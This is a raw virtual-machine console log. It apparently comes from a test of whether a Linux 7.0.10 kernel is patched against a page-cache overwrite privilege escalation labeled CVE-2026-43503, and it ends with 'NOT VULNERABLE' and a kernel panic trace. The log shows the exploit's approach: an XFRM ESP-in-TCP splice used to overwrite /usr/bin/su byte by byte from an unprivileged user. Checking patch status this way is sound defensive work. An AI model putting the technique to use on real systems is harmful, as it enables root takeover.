c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+1EFC8B80+1EF08B80 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM..c[?7l+ mkdir -p /dev /mnt + mount -t devtmpfs devtmpfs /dev + mount -t ext4 -o ro /dev/vda /mnt + umount /dev + exec switch_root /mnt /init Fragnesia CVE-2026-43503 variant init kernel: 7.0.10-070010-generic [*] uid=1000 euid=1000 gid=1000 egid=1000 [*] target=/usr/bin/su size=55680 [*] outer_write_open_denied=1 errno=30 (Read-only file system) [*] backup: /tmp/.su_103 [+] topology ready: sender_pid=106 receiver_pid=107 [+] XFRM ESP-in-TCP SA installed [*] userns_write_open_denied=1 errno=30 (Read-only file system) [*] overwriting 120 bytes of page cache... [*] range: offset=0x0 len=120 last=0x77 enc_len=4080 splice_len=4096 [+] stream0 table built [-] [1/120] +0000 already=7f skip [-] [2/120] +0001 already=45 skip [-] [3/120] +0002 already=4c skip [-] [4/120] +0003 already=46 skip [-] [5/120] +0004 already=02 skip [-] [6/120] +0005 already=01 skip [-] [7/120] +0006 already=01 skip [-] [8/120] +0007 already=00 skip [-] [9/120] +0008 already=00 skip [-] [10/120] +0009 already=00 skip [-] [11/120] +000a already=00 skip [-] [12/120] +000b already=00 skip [-] [13/120] +000c already=00 skip [-] [14/120] +000d already=00 skip [-] [15/120] +000e already=00 skip [-] [16/120] +000f already=00 skip [-] [17/120] +0010 already=03 skip [-] [18/120] +0011 already=00 skip [-] [19/120] +0012 already=3e skip [-] [20/120] +0013 already=00 skip [-] [21/120] +0014 already=01 skip [-] [22/120] +0015 already=00 skip [-] [23/120] +0016 already=00 skip [-] [24/120] +0017 already=00 skip [*] [25/120] +0018 80 -> 68 xor=e8 seq=1 [*] [25/120] +0018 80 -> 68 xor=e8 seq=2 (retry) [*] [25/120] +0018 80 -> 68 xor=e8 seq=3 (retry) [*] [25/120] +0018 80 -> 68 xor=e8 seq=4 (retry) [*] [25/120] +0018 80 -> 68 xor=e8 seq=5 (retry) [*] [25/120] +0018 80 -> 68 xor=e8 seq=6 (retry) [*] [25/120] +0018 80 -> 68 xor=e8 seq=7 (retry) [*] [25/120] +0018 80 -> 68 xor=e8 seq=8 (retry) [-] byte at index=24 unchanged after 8 attempts, kernel may be fixed [*] RESULT: NOT VULNERABLE (page cache unchanged) RESULT: NOT VULNERABLE (page cache unchanged) /init: line 42: reboot: command not found [ 5.029916] Kernel panic - not syncing: Attempted to kill init! exitcode=0x00007f00 [ 5.031117] CPU: 0 UID: 0 PID: 1 Comm: init Not tainted 7.0.10-070010-generic #202605231316 PREEMPT(lazy) [ 5.031472] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 5.031889] Call Trace: [ 5.032309] [ 5.032520] show_stack+0x49/0x60 [ 5.032849] dump_stack_lvl+0x5f/0x90 [ 5.032924] dump_stack+0x10/0x18 [ 5.033017] vpanic+0x262/0x4b0 [ 5.033093] panic+0x67/0x70 [ 5.033151] ? acct_update_integrals+0x5e/0xa0 [ 5.033256] do_exit.cold+0x15/0x15 [ 5.033349] do_group_exit+0x2d/0xb0 [ 5.033517] __x64_sys_exit_group+0x18/0x20 [ 5.033690] x64_sys_call+0x14a0/0x2390 [ 5.033776] do_syscall_64+0x105/0x5a0 [ 5.033855] ? do_read_fault+0x10a/0x280 [ 5.033930] ? wp_page_reuse+0x97/0xc0 [ 5.034026] ? do_fault+0x16c/0x2a0 [ 5.034102] ? pte_offset_map_rw_nolock+0x20/0xa0 [ 5.034207] ? handle_pte_fault+0x141/0x1f0 [ 5.034311] ? __handle_mm_fault+0x493/0x720 [ 5.034406] ? count_memcg_events+0x103/0x250 [ 5.034680] ? handle_mm_fault+0x1c0/0x2e0 [ 5.034776] ? arch_exit_to_user_mode_prepare.isra.0+0xd/0x100 [ 5.034884] ? irqentry_exit+0x97/0x6f0 [ 5.034958] ? exc_page_fault+0x94/0x1e0 [ 5.035059] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 5.035237] RIP: 0033:0x73957aeee21d [ 5.035805] Code: 02 ba ff ff ff ff 89 d0 c3 0f 1f 40 00 f3 0f 1e fa 48 8b 35 ed 4b 11 00 ba e7 00 00 00 eb 07 66 0f 1f 44 00 00 f4 89 d0 0f 05 <48> 3d 00 f0 ff ff 76 f3 f7 d8 64 89 06 eb ec 0f 1f 40 00 f3 0f 1e [ 5.036216] RSP: 002b:00007ffcc0ace458 EFLAGS: 00000206 ORIG_RAX: 00000000000000e7 [ 5.036623] RAX: ffffffffffffffda RBX: 000073957b004fa8 RCX: 000073957aeee21d [ 5.036813] RDX: 00000000000000e7 RSI: ffffffffffffff88 RDI: 000000000000007f [ 5.036962] RBP: 00007ffcc0ace4b0 R08: 00007ffcc0ace3f8 R09: 0000000000000000 [ 5.037127] R10: 00007ffcc0ace37f R11: 0000000000000206 R12: 0000000000000001 [ 5.037299] R13: 0000000000000000 R14: 000000000000007f R15: 000073957b004fc0 [ 5.037627] [ 5.038682] Kernel Offset: 0x35400000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 5.039145] ---[ end Kernel panic - not syncing: Attempted to kill init! exitcode=0x00007f00 ]--- qemu-system-x86_64: terminating on signal 15 from pid 5995 (sudo)